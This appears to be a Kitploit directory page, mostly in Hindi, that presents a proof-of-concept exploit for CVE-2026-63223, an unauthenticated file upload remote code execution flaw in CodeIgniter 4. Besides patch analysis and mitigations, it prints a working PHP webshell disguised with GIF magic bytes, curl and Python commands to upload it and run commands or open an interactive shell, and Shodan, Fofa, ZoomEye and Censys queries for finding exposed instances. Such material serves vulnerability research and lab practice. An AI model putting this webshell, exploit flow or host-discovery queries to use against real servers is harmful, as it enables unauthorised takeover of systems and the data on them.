Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in फ़ाइल अपलोड RCE (CVSS 9.8)। इमेज मैजिक बाइट्स का उपयोग करके अप्रतिबंधित फ़ाइल अपलोड बाईपास के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन। v4.7.4 में ठीक किया गया। | Kitploit
उपकरण/GitHubGitHub/imbas007/cve-2026-63223-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in फ़ाइल अपलोड RCE (CVSS 9.8)। इमेज मैजिक बाइट्स का उपयोग करके अप्रतिबंधित फ़ाइल अपलोड बाईपास के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन। v4.7.4 में ठीक किया गया।

रिपॉजिटरी देखें
121 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
वेबसाइट
साझा करें

CVE-2026-63223 PoC — CodeIgniter 4 फ़ाइल अपलोड RCE

CVSS 9.8 (गंभीर) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: खतरनाक प्रकार वाली फ़ाइल का अनियंत्रित अपलोड
फिक्स: CodeIgniter 4 v4.7.4
सुरक्षा सलाह: GHSA-mmj4-63m4-r6h5


भेद्यता सारांश

CodeIgniter 4 के is_image और mime_in फ़ाइल अपलोड सत्यापन नियम केवल सामग्री-व्युत्पन्न MIME प्रकार (मैजिक बाइट्स) की जाँच करते हैं, न कि क्लाइंट द्वारा आपूर्ति किए गए फ़ाइलनाम एक्सटेंशन की।

एक बिना प्रमाणीकरण वाला हमलावर PHP वेबशेल की शुरुआत में इमेज मैजिक बाइट्स (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) जोड़कर उसे shell.php नाम दे सकता है, और यह खतरनाक निष्पादन योग्य एक्सटेंशन बनाए रखते हुए या सत्यापन पास कर जाएगी। जब अपलोड की गई फ़ाइल किसी वेब-सुलभ निर्देशिका में संग्रहीत होती है, तो हमलावर प्राप्त कर लेता है।

is_image
mime_in
मनमाना रिमोट कोड निष्पादन

ट्रिगर शर्तें (तीनों का पूरा होना आवश्यक है)

  1. ऐप अपलोड को स्वतंत्र एक्सटेंशन जाँच (ext_in) के बिना is_image या mime_in का उपयोग करके सत्यापित करता है
  2. अपलोड की गई फ़ाइल क्लाइंट-आपूर्ति फ़ाइलनाम का उपयोग करके सहेजी जाती है (.php एक्सटेंशन बनाए रखते हुए)
  3. अपलोड किसी वेब-सुलभ निर्देशिका में संग्रहीत होते हैं जहाँ सर्वर PHP निष्पादित करता है

पैच विश्लेषण

v4.7.4 में फिक्स दो नई हेल्पर विधियाँ जोड़ता है और उन्हें सत्यापन नियमों में शामिल करता है:

is_image — पहले बनाम बाद में

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — पहले बनाम बाद में

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

नई हेल्पर विधियाँ

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

मुख्य अंतर्दृष्टि: फिक्स मौजूदा Mimes::guessTypeFromExtension() और $file->guessExtension() विधियों पर निर्भर करता है, जिससे सत्यापन की दूसरी परत जुड़ जाती है। बिना एक्सटेंशन वाले अपलोड (जैसे JavaScript Blob ऑब्जेक्ट) अभी भी स्वीकार किए जाते हैं।


PoC घटक

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

त्वरित प्रारंभ — Docker लैब

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

एंडपॉइंट्स

एंडपॉइंटभेद्यतासत्यापन
/upload/avatarअसुरक्षितकेवल is_image
/upload/documentअसुरक्षितकेवल mime_in
/upload/safeसुरक्षित (नियंत्रण)is_image + ext_in

शोषण

विधि 1 — इंटरैक्टिव

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

विधि 2 — मैन्युअल (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

विधि 3 — विभिन्न MIME भेष

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

यह क्यों काम करता है

PHP का $_FILES सुपरग्लोबल और CodeIgniter का UploadedFile ऑब्जेक्ट दो अलग-अलग जानकारियाँ रखते हैं:

  1. type / getMimeType() — फ़ाइल के मैजिक बाइट्स से व्युत्पन्न (सामग्री-आधारित), ब्राउज़र द्वारा मल्टीपार्ट अपलोड के Content-Type भाग के रूप में भेजा जाता है
  2. name / getClientName() — क्लाइंट से प्राप्त मूल फ़ाइलनाम, जिसमें एक्सटेंशन शामिल है

पैच से पहले, is_image और mime_in केवल #1 की जाँच करते थे। एक हमलावर भेजता है:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image को image/gif दिखता है → पास हो जाता है
  • ✅ फ़ाइल shell.php के रूप में सहेजी जाती है (क्लाइंट नाम संरक्षित रहता है)
  • ✅ Apache/PHP-FPM अपलोड निर्देशिका में .php फ़ाइलों को निष्पादित करता है → RCE

पैच के बाद, एक्सटेंशन की क्रॉस-जाँच की जाती है:

  • ❌ hasInvalidImageClientExtension() को .php दिखता है → अस्वीकार कर देता है

पहचान और खोज

लॉग / फोरेंसिक पहचान

अपनी अपलोड निर्देशिका में इमेज मैजिक बाइट्स वाली PHP/PHTML/PHP5 फ़ाइलें खोजें:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Shodan क्वेरीज़

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Fofa क्वेरीज़

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

निवारण

  1. CodeIgniter 4 v4.7.4+ में अपग्रेड करें
  2. वर्कअराउंड (यदि पैचिंग में देरी हो): is_image/mime_in के साथ ext_in नियम जोड़ें
  3. गहराई में सुरक्षा (Defense-in-depth):
    • अपलोड को वेब रूट के बाहर संग्रहीत करें, readfile() प्रॉक्सी के माध्यम से सर्व करें
    • वेब सर्वर स्तर पर अपलोड निर्देशिका में PHP निष्पादन अक्षम करें:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • क्लाइंट नामों को संरक्षित करने के बजाय सर्वर-नियंत्रित फ़ाइलनाम उत्पन्न करें

संदर्भ

  • GitHub सुरक्षा सलाह — GHSA-mmj4-63m4-r6h5
  • फिक्सिंग कमिट — b6e9a4f
  • रिलीज़ v4.7.4
  • IONIX थ्रेट सेंटर विश्लेषण
  • NVD प्रविष्टि

कानूनी सूचना

यह PoC केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। भेद्यता की जिम्मेदारीपूर्वक सूचना दी गई थी और इसे पैच किया जा चुका है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।

टूल डाउनलोड करें